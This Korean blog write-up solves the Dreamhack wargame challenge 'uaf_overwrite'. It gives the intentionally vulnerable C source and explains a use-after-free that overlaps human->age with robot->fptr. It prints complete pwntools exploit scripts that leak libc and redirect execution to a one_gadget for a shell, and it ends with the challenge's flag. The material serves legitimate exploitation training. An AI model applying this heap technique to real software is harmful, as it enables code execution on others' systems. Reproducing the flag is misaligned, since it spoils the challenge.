본문 바로가기

Pwnable

[Dreamhack] uaf_overwrite

FULL RELRO 보호 기법으로 인해 GOT overwrite 공격이 어렵기 때문에,라이브러리에 존재하는 훅 또는 코드에서 사용하는 함수 포인터를 덮는 방법을 생각해 볼 수 있음

 

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

 

 

 

 

 

주요 구조체로 struct Human과 struct Robot이 있으며.... 각각의 데이터를 입력받아 동적으로 할당한 후에 해제하는 함수가 구현되어 있다. 

프로그램은 계속해서 메뉴를 표시하며, 사용자가 선택한 메뉴에 따라 human_func(), robot_func(), custom_func() 함수가 호출된다.

주요 취약점은 custom_func() 함수에서 발생하는데, malloc() 함수를 사용하여 메모리를 동적으로 할당하고 사용자로부터 데이터를 입력받는다. 그런 다음, 사용자로부터 입력받은 인덱스를 통해 할당한 메모리를 해제한다. 하지만 이때 이미free()된 메모리를 가리키는 포인터가 남아있을 수 있다.

구체적으로 언급된 UAF 취약점은 custom 배열에 할당된 메모리 주소를 가리키는 포인터들이 해제된 이후에도 남아있을 수 있다는 점이다. 이로 인해 프로그램이 이러한 메모리를 참조하려고 할 때 예상치 못한 동작이 발생할 수 있다.

만약 사용자가 custom_func() 함수를 통해 메모리를 할당하고, 그 다음에 메모리를 해제한 후에도 해당 메모리를 가리키는 포인터가 남아있다면, 다른 메뉴에서 해당 인덱스를 선택했을 때 UAF가 발생할 수 있다. 이로 인해 예기치 못한 결과가 발생할 수 있다.

robot_func() 함수에서 robot->fptr이 print_name 함수를 가리키게 되는데, UAF 취약점을 이용하여 robot 구조체에 잘못된 값이 들어가게 되면 프로그램의 흐름을 조작할 수 있을 것이다. 

 

 

 


 

 

 

exploit

 

from pwn import *

p = process("./uaf_overwrite")

def slog(sym, val): success(sym + ": " + hex(val))

def human(weight, age):
    p.sendlineafter(b">", b"1")
    p.sendlineafter(b": ", str(weight).encode())
    p.sendlineafter(b": ", str(age).encode())
    
def robot(weight):
    p.sendlineafter(b">", b"2")
    p.sendlineafter(b": ", str(weight).encode())
    
def custom(size, data, idx):
    p.sendlineafter(b">", b"3")
    p.sendlineafter(b": ", str(size).encode())
    p.sendafter(b": ", data)
    p.sendlineafter(b": ", str(idx).encode())
    

custom(0x500, b"AAAA", -1)
custom(0x500, b"AAAA", -1)
custom(0x500, b"AAAA", 0)
custom(0x500, b"B", -1)

lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c

slog("libc_base", lb)
slog("one_gadget", og)

 

 1) 라이브러리 릭

 

custom_func를 이용하여 0x510의 크기를 갖는 청크를 할당하고, 해제한 뒤, 다시 할당하여 libc 내부의 주소를 구해주었다.

 

 2) 함수 포인터 덮어쓰기

 

human->age와 robot->fptr이 구조체 상에서 같은 위치에 있음을 이용한다.

>>> UAF로 robot->fptr의 값을 원하는 값으로 조작할 수 있음!!!!

 human->age에 one_gadget의 주소를 입력하고 해제한 뒤 robot_func를 호출하면 쉘 획득이 가능하다. 

 

 

from pwn import *

p = remote("host3.dreamhack.games", 19277)

def slog(sym, val): success(sym + ": " + hex(val))

def human(weight, age):
    p.sendlineafter(">", b"1")
    p.sendlineafter(": ", str(weight).encode())
    p.sendlineafter(": ", str(age).encode())

def robot(weight):
    p.sendlineafter(">", b"2")
    p.sendlineafter(": ", str(weight).encode())

def custom(size, data, idx):
    p.sendlineafter(">", b"3")
    p.sendlineafter(": ", str(size).encode())
    p.sendafter(": ", data.encode())
    p.sendlineafter(": ", str(idx).encode())

custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)

lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c

slog("libc_base", lb)
slog("one_gadget", og)

human("1", og)
robot("1")

p.interactive()

 

 




custom 함수를 이용하여 custom 메뉴를 선택하고, 입력된 size 만큼의 메모리를 할당하고 데이터를 입력한 후, 해당 인덱스를 해제한다. 이를 통해 UAF 취약점을 유발할 수 있다.

여러 번의 custom 호출로 UAF 취약점을 이용하여 libc 주소를 계산하고 one_gadget 주소를 계산한다.

human 함수를 호출하여 robot 함수에서 설정한 robot->fptr 함수 포인터를 one_gadget 주소로 덮어써주었다.

robot 함수를 호출하여 robot->fptr()를 실행하게 되면, 이제는 one_gadget이 호출되어 shell을 획득해주었다.



 

 

Flag is
DH{130dbd07d09a0dc093c29171c7178545aa9641af8384fea4942d9952ed1b9acd}

'Pwnable' 카테고리의 다른 글